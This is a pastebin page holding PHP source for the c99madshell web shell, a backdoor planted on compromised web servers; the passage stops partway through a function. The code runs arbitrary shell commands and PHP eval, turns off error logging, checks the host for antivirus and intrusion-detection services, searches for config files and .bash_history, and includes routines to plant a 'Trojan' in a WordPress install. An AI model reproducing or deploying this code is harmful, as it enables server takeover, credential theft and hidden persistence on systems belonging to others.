Recent Posts
None | 3 sec ago
C++ | 22 sec ago
None | 30 sec ago
None | 42 sec ago
Java | 53 sec ago
None | 1 min ago
None | 1 min ago
None | 1 min ago
None | 1 min ago
None | 1 min ago
Sitereport
Find cool info about any domain on the internet?
visit sitereport
Free Subdomains
Want a pastebin.com sub-domain for your community?
learn more...
What is pastebin?
Pastebin is a website that hosts all your text & code on dedicated servers for easy sharing.
learn more...
Learn a little bit about the new Pastebin.com on our help page. hide message
By Salim Fadhley on the 24th of Jul 2009 07:47:50 PM Download | Raw | Embed | Report
  1. <?
  2. ini_set('display_errors', 1);
  3. ini_set('display_startup_errors', 1);
  4. //@ignore_user_abort(TRUE);
  5. @ini_set('error_log',NULL);
  6. @ini_set('log_errors',0);
  7. @ini_set('max_execution_time',0);
  8.  
  9. $ip = $_SERVER['REMOTE_ADDR'];
  10.  
  11. $allow_ext              = array('mysql','mysqli','ftp','curl','imap','sockets','mssql','sqlite');
  12. $allow_program  = array('gcc','cc','ld','php','perl','python','ruby','make','tar','nc','locate','suidperl','wget','get','fetch','links','lynx','curl','lwp-mirror','lwp-download');
  13. $allow_service  = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','tripwire','sxid','logcheck','logwatch');
  14. function onphpshutdown()
  15. {
  16.  global $gzipencode,$ft;
  17.   $v = @ob_get_contents();
  18.   @ob_start("ob_gzHandler");
  19.   echo $v;
  20. }
  21.  
  22. function which($which) {
  23.         $locate = myshellexec('which '.$which);
  24.         if($locate) {
  25.                 return $locate;
  26.         } else {
  27.                 return false;
  28.         }
  29. }
  30.  
  31. function save_file($file, $content) {
  32.         global $win;
  33.         if(!file_exists($file)) {
  34.                 return false;
  35.         }
  36.         clearstatcache();
  37.         $filetime = filemtime($file);
  38.         if(!is_writable($file)) {
  39.                 $fileperm = substr(decoct(fileperms($file)), -4, 4);
  40.                 @chmod($file, intval(0777,8));
  41.                 if(!is_writable($file)) {
  42.                         return false;
  43.                 }
  44.         }
  45.         $handle = @fopen($file, 'w');
  46.         if($handle === FALSE) {
  47.                 return false;
  48.         }
  49.         fwrite($handle, $content);
  50.         fclose($handle);
  51.         @touch($file, $filetime, $filetime);
  52.         if(isset($fileperm) && !empty($fileperm)) {
  53.                 @chmod($file, intval($fileperm,8));
  54.         }
  55.         clearstatcache();
  56.         return true;
  57. }
  58. function c99shexit() {
  59.         onphpshutdown();
  60.         exit;
  61. }
  62. function RecursFile($dir) {
  63.         $files = array();
  64.         if(substr($dir, -1) != DIRECTORY_SEPARATOR) {
  65.                 $dir .= DIRECTORY_SEPARATOR;
  66.         }
  67.         if(!file_exists($dir)) {
  68.                 return false;
  69.         }
  70.         clearstatcache(); // &#1063;&#1080;&#1089;&#1090;&#1080;&#1084; &#1082;&#1077;&#1096;
  71.         $realpath = getcwd(); // &#1057;&#1086;&#1093;&#1088;&#1072;&#1085;&#1103;&#1077;&#1084; &#1090;&#1077;&#1082;&#1091;&#1097;&#1080;&#1081; &#1087;&#1091;&#1090;&#1100;
  72.         $handle = @opendir($dir);
  73.         if(FALSE === $handle) {
  74.                 return false;
  75.         }
  76.         chdir($dir);
  77.         while(FALSE !== ($file = readdir($handle))) {
  78.                 if('.' != $file && '..' != $file ) {
  79.                         if(is_dir($file)) {
  80.                                 $recurs = RecursFile($dir.DIRECTORY_SEPARATOR.$file.DIRECTORY_SEPARATOR);
  81.                                 if(is_array($recurs)) {
  82.                                         $files = array_merge($files, $recurs);
  83.                                 }
  84.                         } elseif(is_file($file)) {
  85.                                 $files[] = str_replace(array('\\\\', '//'), DIRECTORY_SEPARATOR, $dir.DIRECTORY_SEPARATOR.$file);
  86.                         }
  87.                 }
  88.         }
  89.         closedir($handle);
  90.         chdir($realpath); // &#1042;&#1086;&#1089;&#1089;&#1090;&#1072;&#1085;&#1072;&#1074;&#1083;&#1080;&#1074;&#1072;&#1077;&#1084; &#1087;&#1091;&#1090;&#1100;
  91.         clearstatcache(); // &#1063;&#1080;&#1089;&#1090;&#1080;&#1084; &#1082;&#1077;&#1096;
  92.         //sort($files);
  93.         return $files;
  94. }
  95.  
  96. /**
  97. * &#1060;&#1091;&#1085;&#1082;&#1094;&#1080;&#1103; &#1087;&#1086;&#1082;&#1072;&#1079;&#1099;&#1074;&#1072;&#1077;&#1090; &#1088;&#1077;&#1082;&#1091;&#1088;&#1089;&#1080;&#1074;&#1085;&#1086; &#1074;&#1089;&#1077; &#1087;&#1072;&#1087;&#1082;&#1080; &#1080;&#1079; &#1079;&#1072;&#1076;&#1072;&#1085;&#1085;&#1086;&#1081;.
  98. *
  99. */
  100. function RecursDir($dir) {
  101.         $dirs = array();
  102.  
  103.         if(substr($dir, -1) != DIRECTORY_SEPARATOR) {
  104.                 $dir .= DIRECTORY_SEPARATOR;
  105.         }
  106.         if(!file_exists($dir)) {
  107.                 return false;
  108.         }
  109.         clearstatcache(); // &#1063;&#1080;&#1089;&#1090;&#1080;&#1084; &#1082;&#1077;&#1096;
  110.         $realpath = getcwd(); // &#1057;&#1086;&#1093;&#1088;&#1072;&#1085;&#1103;&#1077;&#1084; &#1090;&#1077;&#1082;&#1091;&#1097;&#1080;&#1081; &#1087;&#1091;&#1090;&#1100;
  111.         $handle = @opendir($dir);
  112.         if(FALSE === $handle) {
  113.                 return false;
  114.         }
  115.         chdir($dir);
  116.         $dirs[] = str_replace(array('\\\\', '//'), DIRECTORY_SEPARATOR, $dir);
  117.         while(FALSE !== ($file = readdir($handle))) {
  118.                 if('.' != $file && '..' != $file ) {
  119.                         if(is_dir($file)) {
  120.                                 $dirs[] = str_replace(array('\\\\', '//'), DIRECTORY_SEPARATOR, $dir.DIRECTORY_SEPARATOR.$file.DIRECTORY_SEPARATOR);
  121.                                 $recurs = RecursDir($dir.DIRECTORY_SEPARATOR.$file.DIRECTORY_SEPARATOR);
  122.                                 if(is_array($recurs)) {
  123.                                         $dirs = array_merge($dirs, $recurs);
  124.                                 }
  125.                         }
  126.                 }
  127.         }
  128.         closedir($handle);
  129.         chdir($realpath); // &#1042;&#1086;&#1089;&#1089;&#1090;&#1072;&#1085;&#1072;&#1074;&#1083;&#1080;&#1074;&#1072;&#1077;&#1084; &#1087;&#1091;&#1090;&#1100;
  130.         clearstatcache(); // &#1063;&#1080;&#1089;&#1090;&#1080;&#1084; &#1082;&#1077;&#1096;
  131.         $dirs = array_unique($dirs);
  132.         return $dirs;
  133. }
  134.  
  135. function setRecursPerm($dir, $perm) {
  136.         $good = 0;
  137.         $bad = 0;
  138.         $all = array_merge(RecursFile($dir), RecursDir($dir));
  139.         foreach($all as $file) {
  140.                 if(@chmod($file, $perm)) {
  141.                         $good++;
  142.                 } else {
  143.                         $bad++;
  144.                 }
  145.         }
  146.         return $good.':'.$bad;
  147. }
  148.  
  149. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  150. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  151. $_REQUEST = array_merge($_COOKIE,$_POST);
  152. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  153. $shver = "3.0 BLOG edition";
  154. if (empty($surl)){
  155.         $surl = $_SERVER['PHP_SELF'];
  156. }
  157. $surl = htmlspecialchars($surl);
  158.  
  159. $curdir = "./";
  160. $tmpdir = "";
  161. $tmpdir_log = "./";
  162.  
  163. $sort_default = "0a";
  164. $sort_save = TRUE;
  165.  
  166.  
  167. $safemode_diskettes = array('a');
  168. $hexdump_lines = 8;
  169. $hexdump_rows = 24;
  170. $nixpwdperpage = 100;
  171.  
  172. if (!$win) {
  173.  $cmdaliases = array(
  174.   array("-----------------------------------------------------------", "ls -la"),
  175.   array("find config.inc.php files", "find / -type f -name config.inc.php"),
  176.   array("find config* files", "find / -type f -name \"config*\""),
  177.   array("find config* files in current dir", "find . -type f -name \"config*\""),
  178.   array("find all writable folders and files", "find / -perm -2 -ls"),
  179.   array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  180.   array("find all .bash_history files", "find / -type f -name .bash_history"),
  181.   array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  182.   array("show opened ports", "netstat -an | grep -i listen")
  183.  );
  184. } else {
  185.  $cmdaliases = array(
  186.   array("-----------------------------------------------------------", "dir"),
  187.   array("show opened ports", "netstat -an")
  188.  );
  189. }
  190.  
  191. $quicklaunch = array(
  192.  array("<b><hr>Search</b>","#\" onclick=\"document.todo.act.value='search';document.todo.d.value='%d';document.todo.submit();"),
  193.  array("<b>PHP-code</b>","#\" onclick=\"document.todo.act.value='eval';document.todo.d.value='%d';document.todo.submit();"),
  194.  array("<b>Self remove</b>","#\" onclick=\"document.todo.act.value='selfremove';document.todo.submit();"),
  195. );
  196.  
  197. $highlight_background = "#c0c0c0";
  198. $highlight_bg = "#FFFFFF";
  199. $highlight_comment = "#6A6A6A";
  200. $highlight_default = "#0000BB";
  201. $highlight_html = "#1300FF";
  202. $highlight_keyword = "#007700";
  203. $highlight_string = "#000000";
  204.  
  205. @$f = $_REQUEST["f"];
  206. @extract($_REQUEST["c99shcook"]);
  207.  
  208. if (isset($_POST['act'])) $act  = $_POST['act'];
  209. if (isset($_POST['d'])) $d    = urldecode($_POST['d']); else $d=getcwd();
  210. if (isset($_POST['sort'])) $sort = $_POST['sort'];
  211. if (isset($_POST['f'])) $f    = urldecode($_POST['f']);
  212. if (isset($_POST['ft'])) $ft   = $_POST['ft'];
  213. if (isset($_POST['grep'])) $grep = $_POST['grep'];
  214. if (isset($_POST['processes_sort'])) $processes_sort = $_POST['processes_sort'];
  215. if (isset($_POST['pid'])) $pid  = $_POST['pid'];
  216. if (isset($_POST['sig'])) $sig  = $_POST['sig'];
  217. if (isset($_POST['base64'])) $base64  = $_POST['base64'];
  218. if (isset($_POST['fullhexdump'])) $fullhexdump  = $_POST['fullhexdump'];
  219. if (isset($_POST['c'])) $c  = $_POST['c'];
  220. if (isset($_POST['white'])) $white  = $_POST['white'];
  221. if (isset($_POST['nixpasswd'])) $nixpasswd  = $_POST['nixpasswd'];
  222.  
  223. $lastdir = @realpath(".");
  224. @chdir($curdir);
  225.  
  226.  
  227. $disablefunc = @ini_get("disable_functions");
  228. if (!empty($disablefunc))
  229. {
  230.  $disablefunc = str_replace(" ","",$disablefunc);
  231.  $disablefunc = explode(",",$disablefunc);
  232. } else {
  233.         $disablefunc = array();
  234. }
  235.  
  236. function str2mini($content,$len)
  237. {
  238.  if (strlen($content) > $len)
  239.  {
  240.   $len = ceil($len/2) - 2;
  241.   return substr($content, 0,$len)."...".substr($content,-$len);
  242.  }
  243.  else {return $content;}
  244. }
  245.  
  246. function listdir($start_dir='.') {
  247.   $files = array();
  248.   if (is_dir($start_dir)) {
  249.     $fh = opendir($start_dir);
  250.     while (($file = readdir($fh)) !== false) {
  251.       # loop through the files, skipping . and .., and recursing if necessary
  252.      if (strcmp($file, '.')==0 || strcmp($file, '..')==0) continue;
  253.       $filepath = $start_dir . '/' . $file;
  254.       if ( is_dir($filepath) )
  255.         $files = array_merge($files, listdir($filepath));
  256.       else
  257.         array_push($files, $filepath);
  258.     }
  259.     closedir($fh);
  260.   } else {
  261.     # false if the function was called with an invalid non-directory argument
  262.    $files = false;
  263.   }
  264.  return $files;
  265. }
  266. function view_size($size)
  267. {
  268.  if (!is_numeric($size)) {return FALSE;}
  269.  else
  270.  {
  271.   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  272.   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  273.   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  274.   else {$size = $size . " B";}
  275.   return $size;
  276.  }
  277. }
  278.  
  279. function fs_rmdir($d)
  280. {
  281.  $h = opendir($d);
  282.  while (($o = readdir($h)) !== FALSE)
  283.  {
  284.   if (($o != ".") and ($o != ".."))
  285.   {
  286.    if (!is_dir($d.$o)) {unlink($d.$o);}
  287.    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  288.   }
  289.  }
  290.  closedir($h);
  291.  rmdir($d);
  292.  return !is_dir($d);
  293. }
  294.  
  295. function fs_rmobj($o)
  296. {
  297.  $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  298.  if (is_dir($o))
  299.  {
  300.   if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  301.   return fs_rmdir($o);
  302.  }
  303.  elseif (is_file($o)) {return unlink($o);}
  304.  else {return FALSE;}
  305. }
  306.  
  307.  
  308.  
  309. function myshellexec($cfe)
  310. {
  311.  $res = '';
  312.  if (!empty($cfe))
  313.  {
  314.   if(@function_exists('exec'))
  315.    {
  316.     @exec($cfe,$res);
  317.     $res = join("\n",$res);
  318.    }
  319.   elseif(@function_exists('shell_exec'))
  320.    {
  321.     $res = @shell_exec($cfe);
  322.    }
  323.   elseif(@function_exists('system'))
  324.    {
  325.     @ob_start();
  326.     @system($cfe);
  327.     $res = @ob_get_contents();
  328.     @ob_end_clean();
  329.    }
  330.   elseif(@function_exists('passthru'))
  331.    {
  332.     @ob_start();
  333.     @passthru($cfe);
  334.     $res = @ob_get_contents();
  335.     @ob_end_clean();
  336.    }
  337.   elseif(@is_resource($f = @popen($cfe,"r")))
  338.   {
  339.    $res = "";
  340.    if(@function_exists('fread') && @function_exists('feof')){
  341.     while(!@feof($f)) { $res .= @fread($f,1024); }
  342.    }else if(@function_exists('fgets') && @function_exists('feof')){
  343.     while(!@feof($f)) { $res .= @fgets($f,1024); }
  344.    }
  345.    @pclose($f);
  346.   }
  347.   elseif(@is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes)))
  348.   {
  349.    $res = "";
  350.    if(@function_exists('fread') && @function_exists('feof')){
  351.     while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);}
  352.    }else if(@function_exists('fgets') && @function_exists('feof')){
  353.     while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);}
  354.    }
  355.    @proc_close($f);
  356.   }
  357.   elseif(@function_exists('pcntl_exec')&&@function_exists('pcntl_fork'))
  358.    {
  359.     $res = '[~] Blind Command Execution via [pcntl_exec]\n\n';
  360.     $pid = @pcntl_fork();
  361.     if ($pid == -1) {
  362.      $res .= '[-] Could not children fork. c99shexit';
  363.     } else if ($pid) {
  364.          if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';}
  365.          else {$res .= '[-] Error. Command incorrect.';}
  366.     } else {
  367.          $cfe = array(" -e 'system(\"$cfe\")'");
  368.          if(@pcntl_exec('/usr/bin/perl',$cfe)) c99shexit(0);
  369.          if(@pcntl_exec('/usr/local/bin/perl',$cfe)) c99shexit(0);
  370.          die();
  371.     }
  372.    }
  373.  }
  374.  return $res;
  375. }
  376.  
  377.  
  378. function tabsort($a,$b)
  379. {
  380.         global $v;
  381.         return strnatcmp($a[$v], $b[$v]);
  382. }
  383.  
  384. function view_perms($mode)
  385. {
  386.  if (($mode & 0xC000) === 0xC000) {$type = "s";}
  387.  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  388.  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  389.  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  390.  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  391.  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  392.  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  393.  else {$type = "?";}
  394.  
  395.  $owner["read"] = ($mode & 00400)?"r":"-";
  396.  $owner["write"] = ($mode & 00200)?"w":"-";
  397.  $owner["execute"] = ($mode & 00100)?"x":"-";
  398.  $group["read"] = ($mode & 00040)?"r":"-";
  399.  $group["write"] = ($mode & 00020)?"w":"-";
  400.  $group["execute"] = ($mode & 00010)?"x":"-";
  401.  $world["read"] = ($mode & 00004)?"r":"-";
  402.  $world["write"] = ($mode & 00002)? "w":"-";
  403.  $world["execute"] = ($mode & 00001)?"x":"-";
  404.  
  405.  if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  406.  if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  407.  if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  408.  
  409.  return $type.join("",$owner).join("",$group).join("",$world);
  410. }
  411.  
  412. if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  413. if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  414. if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  415. if (!function_exists("parse_perms"))
  416. {
  417. function parse_perms($mode)
  418. {
  419.  if (($mode & 0xC000) === 0xC000) {$t = "s";}
  420.  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  421.  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  422.  elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  423.  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  424.  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  425.  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  426.  else {$t = "?";}
  427.  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  428.  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  429.  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  430.  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  431. }
  432. }
  433.  
  434. function parsesort($sort)
  435. {
  436.  $one = intval($sort);
  437.  $second = substr($sort,-1);
  438.  if ($second != "d") {$second = "a";}
  439.  return array($one,$second);
  440. }
  441.  
  442. function view_perms_color($o)
  443. {
  444.  if (!@is_readable($o)) {return "<font color=red>".view_perms(@fileperms($o))."</font>";}
  445.  elseif (!@is_writable($o)) {return "<font color=white>".view_perms(@fileperms($o))."</font>";}
  446.  else {return "<font color=green>".view_perms(@fileperms($o))."</font>";}
  447. }
  448.  
  449.  
  450.  
  451. function c99fsearch($d)
  452. {
  453.  global $found;
  454.  global $found_d;
  455.  global $found_f;
  456.  global $search_i_f;
  457.  global $search_i_d;
  458.  global $a;
  459.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  460.  $h = opendir($d);
  461.  while (($f = readdir($h)) !== FALSE)
  462.  {
  463.   if($f != "." && $f != "..")
  464.   {
  465.    $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
  466.    if (is_dir($d.$f))
  467.    {
  468.     $search_i_d++;
  469.     if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  470.     if (!is_link($d.$f)) {c99fsearch($d.$f);}
  471.    }
  472.    else
  473.    {
  474.     $search_i_f++;
  475.     if ($bool)
  476.     {
  477.      if (!empty($a["text"]))
  478.      {
  479.       $r = @file_get_contents($d.$f);
  480.       if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  481.       if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  482.       if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  483.       else {$bool = strpos(" ".$r,$a["text"],1);}
  484.       if ($a["text_not"]) {$bool = !$bool;}
  485.       if ($bool) {$found[] = $d.$f; $found_f++;}
  486.      }
  487.      else {$found[] = $d.$f; $found_f++;}
  488.     }
  489.    }
  490.   }
  491.  }
  492.  closedir($h);
  493. }
  494. if(!isset($act)) {$act='';}
  495. if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
  496.  
  497. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  498. header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  499. header("Cache-Control: no-store, no-cache, must-revalidate");
  500. header("Cache-Control: post-check=0, pre-check=0", FALSE);
  501. header("Pragma: no-cache");
  502. if (empty($tmpdir))
  503. {
  504.  $tmpdir = ini_get("upload_tmp_dir");
  505.  if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  506. }
  507. $tmpdir = realpath($tmpdir);
  508. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  509. if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  510. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  511. else {$tmpdir_logs = realpath($tmpdir_logs);}
  512. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  513. {
  514.  $safemode = TRUE;
  515.  $hsafemode = "<font color=red>ON (secure)</font>";
  516. }
  517. else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}
  518. $v = @ini_get("open_basedir");
  519. if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
  520. else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
  521. $sort = @htmlspecialchars($sort);
  522. if (empty($sort)) {$sort = $sort_default;}
  523. $sort[1] = strtolower($sort[1]);
  524. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),'',getenv("SERVER_SOFTWARE"));
  525. @ini_set("highlight.bg",$highlight_bg); //FFFFFF
  526. @ini_set("highlight.comment",$highlight_comment); //#FF8000
  527. @ini_set("highlight.default",$highlight_default); //#0000BB
  528. @ini_set("highlight.html",$highlight_html); //#000000
  529. @ini_set("highlight.keyword",$highlight_keyword); //#007700
  530. @ini_set("highlight.string",$highlight_string); //#DD0000
  531. if (!isset($actbox) || !is_array($actbox)) {$actbox = array();}
  532. $dspact = $act = htmlspecialchars($act);
  533. $disp_fullpath = $ls_arr = $notls = null;
  534. $ud = urlencode($d);
  535. ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c99madshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><form name='todo' method='POST'><input name='act' type='hidden' value=''><input name='grep' type='hidden' value=''><input name='fullhexdump' type='hidden' value=''><input name='base64' type='hidden' value=''><input name='nixpasswd' type='hidden' value=''><input name='pid' type='hidden' value=''><input name='c' type='hidden' value=''><input name='white' type='hidden' value=''><input name='wp_act' type='hidden' value=''><input name='wp_path' type='hidden' value='<?php if(isset($wp_path)) echo($wp_path);?>'><input name='sig' type='hidden' value=''><input name='processes_sort' type='hidden' value=''><input name='d' type='hidden' value=''><input name='sort' type='hidden' value=''><input name='f' type='hidden' value=''><input name='ft' type='hidden' value=''></form><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99madShell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr>
  536.  
  537. <tr><td>
  538. <p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p>
  539. <p align="left"><b>System:&nbsp;<?php echo substr(php_uname(),0,90); ?></b>&nbsp;</p>
  540. <?php
  541. if(!$win && function_exists('posix_getgrgid') && function_exists('posix_getegid')) {
  542.         echo('<p align="left"><b>User/Group:&nbsp;');
  543.         $groupinfo = posix_getgrgid(posix_getegid());
  544.         echo(get_current_user().'/'.$groupinfo['name']);
  545.         echo('</b>&nbsp;</p>');
  546. }
  547. ?>
  548. <p align="left"><b>Php version: <a href="#" onclick="document.todo.act.value='phpinfo';document.todo.submit();"><b><u><?php echo(phpversion()) ?></u></b></a>
  549. <p align="left"><b>Php modules:&nbsp;
  550. <?php
  551. $cur_ext = get_loaded_extensions();
  552. echo('<font title="'.implode(',', $cur_ext).'">');
  553. $intersect = array_intersect($allow_ext, $cur_ext);
  554. echo(implode(', ', $intersect));
  555. ?>
  556. </font></b>&nbsp;</p>
  557. <?php
  558. if($disablefunc) {
  559.         echo('<p align="left" style="color:red"><b>Disable functions:&nbsp;'.implode(', ', $disablefunc).'</b></p>');
  560. }
  561.  
  562. if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {
  563.         echo('<p align="left" style="color:red"><b>Mod Security:&nbsp;YES</b></p>');
  564. }
  565. if(!$win && $safemode === FALSE) {
  566.         $pro = array();
  567.         $ser = array();
  568.         foreach($allow_program as $program) {
  569.                 if($locate = which($program)) {
  570.                         $pro[] = '<font title="'.$locate.'">'.$program.'</font>';
  571.                 }
  572.         }
  573.         foreach($allow_service as $service) {
  574.                 if($locate = which($service)) {
  575.                         $ser[] = '<font title="'.$locate.'">'.$service.'</font>';
  576.                 }
  577.         }
  578.         if($pro) {
  579.                 echo('<p align="left"><b>Install program:&nbsp;<font color="#00CCFF">'.implode(', ', $pro).'</font></b></p>');
  580.  
  581.         }
  582.         if($ser) {
  583.                 echo('<p align="left"><b>Install service:&nbsp;'.implode(', ', $ser).'</b></p>');
  584.         }
  585. }
  586. ?>
  587.  
  588. <p align="left"><b>Allow_url_fopen:&nbsp;<?php echo((@ini_get('allow_url_fopen'))==1?'<font color="green">ON</font>':'<font color="red">OFF</font>'); ?></b></p>
  589. <p align="left"><b>Allow_url_include:&nbsp;<?php echo((@ini_get('allow_url_include'))==1?'<font color="green">ON</font>':'<font color="red">OFF</font>'); ?></b></p>
  590. <p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p>
  591. <?php
  592. if(isset($wp_path)) {
  593.         if(valid_wp_path($wp_path)) {
  594.                 draw_patch();
  595.                 draw_trojan();
  596.         } else {
  597.                 unset($wp_path);
  598.         }
  599. }
  600. if(!isset($wp_path)) {
  601.         $wp_path = found_wp();
  602.         if(valid_wp_path($wp_path)) {
  603.                 draw_patch();
  604.                 draw_trojan();
  605.         } else {
  606.                 unset($wp_path);
  607.         }
  608. }
  609. if(!isset($wp_path)) {
  610.         echo('<p><font color=red>Wordpress Not Found! ');
  611.         echo('<input type=text id="wp_pat"><input type="submit" value="SET PATH" onclick="document.todo.act.value=\'ls\';document.todo.wp_path.value=document.getElementById(\'wp_pat\').value;document.todo.submit();"></p>');
  612.  
  613. }
  614. function draw_trojan() {
  615.         echo('<p><font color=green>Trojan: </font>
  616.  
  617.         <input type="submit" id="index" value="index" style="font-size: 6pt;'.get_style('index').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'index\';document.todo.submit();"/>
